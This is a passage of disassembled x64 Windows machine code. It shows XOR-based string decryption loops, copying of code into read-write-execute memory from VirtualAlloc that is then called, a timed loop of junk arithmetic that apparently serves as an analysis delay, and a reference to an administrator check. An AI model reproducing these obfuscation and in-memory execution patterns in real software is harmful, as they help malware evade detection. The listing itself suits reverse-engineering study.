movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c3d28]
mov qword [rsi + rax*8 + 0x2c3060], r13
mov qword [rsi + rax*8 + 0x2c5000], rdx
inc rax
mov qword [0x1402c3d28], rax
lea rcx, [0x140204ab0]
call rdx
nop
xor rbx, r15
mov qword [rsp + 0xc78], rbx
lea rax, [rsp + 0xac48]
mov qword [rax], rbx
call fcn.1402271d0
cmp qword [0x1402c0270], 5
jae 0x14024efd0
movsd xmm0, qword [0x1402a95e0]
movsd qword [rsp + 0xc0], xmm0
mov eax, dword [0x1402a95e8]
mov dword [rsp + 0xc8], eax
movzx eax, word [0x1402a95ec]
mov word [rsp + 0xcc], ax
cmp byte [0x1402a95ed], 0
je 0x14024efa7
mov r9d, edi
cmp dword [0x1402bd008], 2
jl 0x14024ef3c
movdqa xmm7, xmmword [0x1402ad190]
mov eax, 6
movd xmm9, eax
movdqa xmm8, xmmword [0x1402ad180]
mov eax, 0x1f
movd xmm11, eax
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x1402a95e0]
pxor xmm3, xmm0
movd dword [rsp + 0xc0], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0xc4]
pxor xmm3, xmm1
movd dword [rsp + 0xc4], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0xc0]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x14024ef50
lea rax, [rsp + 0xc0]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x14024efb2
lea rdx, [rsp + 0xc0]
lea rcx, [0x1402c0260]
call fcn.1402594a0
lea rcx, [rsp + 0xa30]
call fcn.140226700
mov rdx, rax
lea rcx, [0x1402bff30]
call fcn.140257710
lea rcx, [rsp + 0xa30]
call fcn.140259200
xorps xmm0, xmm0
movups xmmword [rsp + 0xc48], xmm0
lea rax, [rsp + 0xac48]
mov qword [rsp + 0xc50], r15
mov qword [rsp + 0xc58], rax
mov rbx, qword [rax]
xor rbx, r15
mov qword [rsp + 0xc48], rbx
mov qword [rax], rdi
mov ecx, edi
mov rax, qword [0x1402c3060]
test rax, rax
je 0x14024f069
mov rdx, rdi
nop
cmp rax, r13
je 0x14024f058
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x2c3060]
test rax, rax
jne 0x14024f040
jmp 0x14024f069
mov rdx, qword [rsi + rdx*8 + 0x2c5000]
test rdx, rdx
jne 0x14024f14f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14024f090
mov rdx, rdi
jmp 0x14024f12e
mov rax, r13
mov rcx, rdx
mov r8d, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x14024f0a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c3d28]
mov qword [rsi + rax*8 + 0x2c3060], r13
mov qword [rsi + rax*8 + 0x2c5000], rdx
inc rax
mov qword [0x1402c3d28], rax
lea rcx, [0x140212ab0]
call rdx
nop
xor rbx, r15
mov qword [rsp + 0xc48], rbx
lea rax, [rsp + 0xac48]
mov qword [rax], rbx
movups xmm0, xmmword [0x1402abd30]
movups xmmword [rsp + 0x6a0], xmm0
movups xmm1, xmmword [0x1402abd40]
movups xmmword [rsp + 0x6b0], xmm1
movups xmm0, xmmword [0x1402abd50]
movups xmmword [rsp + 0x6c0], xmm0
movups xmm1, xmmword [0x1402abd60]
movups xmmword [rsp + 0x6d0], xmm1
movsd xmm0, qword [0x1402abd70]
movsd qword [rsp + 0x6e0], xmm0
mov eax, dword [0x1402abd78]
mov dword [rsp + 0x6e8], eax
movzx eax, word [0x1402abd7c]
mov word [rsp + 0x6ec], ax
movzx eax, byte [0x1402abd7e]
mov byte [rsp + 0x6ee], al
mov r9d, edi
mov ebx, dword [0x1402bd008]
cmp ebx, 2
jl 0x14024f415
mov eax, 6
movd xmm6, eax
mov eax, 0x1f
movd xmm7, eax
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x6a4]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm6
pmuldq xmm4, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad0e0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad1a0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x48
jl 0x14024f220
cmp r9d, 0x4f
jge 0x14024f487
movsxd rax, r9d
lea r10, [rsp + 0x6a0]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x4f
jl 0x14024f430
xorps xmm0, xmm0
movups xmmword [rsp + 0x298], xmm0
mov qword [rsp + reloc.SHELL32.dll_IsUserAnAdmin], rdi
mov qword [rsp + 0x2b0], rdi
lea rax, [rsp + 0x6a0]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14024f4b0
lea rdx, [rsp + 0x6a0]
lea rcx, [rsp + 0x298]
call fcn.14021d330
lea rcx, [rsp + 0x298]
call fcn.140210b20
movups xmm0, xmmword [0x1402ab5b0]
movups xmmword [rsp + 0x810], xmm0
movups xmm1, xmmword [str.__:____6__6__]
movups xmmword [rsp + 0x820], xmm1
movups xmm0, xmmword [0x1402ab5d0]
movups xmmword [rsp + 0x830], xmm0
movups xmm1, xmmword [0x1402ab5e0]
movups xmmword [rsp + 0x840], xmm1
movups xmm0, xmmword [0x1402ab5f0]
movups xmmword [rsp + 0x850], xmm0
movups xmm1, xmmword [0x1402ab600]
movups xmmword [rsp + 0x860], xmm1
movups xmm0, xmmword [str.o___o_y1]
movups xmmword [rsp + 0x870], xmm0
movups xmm1, xmmword [0x1402ab620]
movups xmmword [rsp + 0x880], xmm1
mov eax, dword [0x1402ab630]
mov dword [rsp + 0x890], eax
movzx eax, word [0x1402ab634]
mov word [rsp + 0x894], ax
mov r9d, edi
cmp ebx, 2
jl 0x14024f79f
mov ebx, 6
movd xmm6, ebx
mov ebx, 0x1f
movd xmm7, ebx
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x814]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x80
jl 0x14024f5a4
cmp r9d, 0x86
jge 0x14024f80a
movsxd rax, r9d
lea r10, [rsp + 0x810]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x86
jl 0x14024f7b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x628], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x638], xmm1
lea rax, [rsp + 0x810]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14024f830
lea rdx, [rsp + 0x810]
lea rcx, [rsp + 0x628]
call fcn.14021d330
nop
lea rcx, [rsp + 0x628]
call fcn.14020e780
nop
lea rcx, [rsp + 0x628]
call fcn.140259200
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x9814], 0xffffffff
mov dword [rsp + 0x8494], eax
mov edx, 1
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x8494], eax
inc rdx
cmp rdx, 0x270
jb 0x14024f890
mov dword [rsp + 0x8490], 0x270
mov dword [rsp + 0x40], edi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14024f8df
imul rax, rax, 0x64
jmp 0x14024f8fa
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
add rax, 0x5f5e100
mov qword [rsp + 0x50], rax
mov r15, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14024f926
imul rax, rax, 0x64
jmp 0x14024f941
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r15
jge 0x14024fb1f
mov qword [rsp + 0x48], 0x186a0
mov r15d, 1
nop dword [rax]
lea rcx, [rsp + 0x8490]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14024f99b
nop dword [rax + rax]
lea rcx, [rsp + 0x8490]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024f980
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea ebx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r15d
lea rcx, [rsp + 0x8490]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x14024f9fb
cmp eax, 0x64
jae 0x14024f9fb
nop dword [rax]
lea rcx, [rsp + 0x8490]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024f9e0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x8490]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x14024fa5c
cmp eax, 0x64
jae 0x14024fa5c
lea rcx, [rsp + 0x8490]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024fa41
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x8490]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov r8d, ebx
cmp eax, 0xc9
jae 0x14024face
cmp eax, 0x64
jae 0x14024face
nop word [rax + rax]
lea rcx, [rsp + 0x8490]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024fab0
mov r8d, ebx
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r14]
lea ecx, [rdx - 0x80000000]
cmp edx, r14d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], edx
sub qword [rsp + 0x48], r15
jne 0x14024f960
mov r15, qword [rsp + 0x50]
jmp 0x14024f908
mov eax, dword [rsp + 0x40]
movups xmm0, xmmword [str.1_2__8__u]
movups xmmword [rsp + 0x650], xmm0
movups xmm1, xmmword [0x1402aa300]
movups xmmword [rsp + 0x660], xmm1
movups xmm0, xmmword [0x1402aa310]
movups xmmword [rsp + 0x670], xmm0
movups xmm1, xmmword [0x1402aa320]
movups xmmword [rsp + 0x680], xmm1
mov eax, dword [0x1402aa330]
mov dword [rsp + 0x690], eax
movzx eax, word [0x1402aa334]
mov word [rsp + 0x694], ax
movzx eax, byte [0x1402aa336]
mov byte [rsp + 0x696], al
mov r9d, edi
cmp dword [0x1402bd008], 2
movabs r15, 0xff00ff00ff00ff00
jl 0x14024fdc5
mov eax, 6
movd xmm6, eax
mov eax, 0x1f
movd xmm7, eax
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x654]
nop dword [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x40
jl 0x14024fbd0
cmp r9d, 0x47
jge 0x14024fe37
movsxd rax, r9d
lea r10, [rsp + 0x650]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x47
jl 0x14024fde0
xorps xmm0, xmm0
movups xmmword [rsp + 0x568], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x578], xmm1
lea rax, [rsp + 0x650]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14024fe60
lea rdx, [rsp + 0x650]
lea rcx, [rsp + 0x568]
call fcn.14021d330
nop
lea rcx, [rsp + 0x568]
call fcn.14020e780
nop
lea rcx, [rsp + 0x568]
call fcn.140259200
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0xec], 0x1f4
xorps xmm0, xmm0
movups xmmword [rsp + 0xc18], xmm0
lea rcx, [rsp + 0xac48]
mov qword [rsp + 0xc20], r15
mov qword [rsp + 0xc28], rcx
mov rax, qword [rcx]
xor rax, r15
mov qword [rsp + 0x48], rax
mov qword [rsp + 0xc18], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x1402c13f0]
test rax, rax
je 0x14024ff2a
mov r8, rdi
lea rdx, [0x14025b2e0]
nop
cmp rax, rdx
je 0x14024ff19
inc ecx
mov r8d, ecx
mov rax, qword [rsi + rcx*8 + 0x2c13f0]
test rax, rax
jne 0x14024ff00
jmp 0x14024ff2a
mov r8, qword [rsi + r8*8 + 0x2c39f0]
test r8, r8
jne 0x140250016
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14024ff51
mov r8, rdi
jmp 0x14024ffee
lea rax, [0x14025b2e0]
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
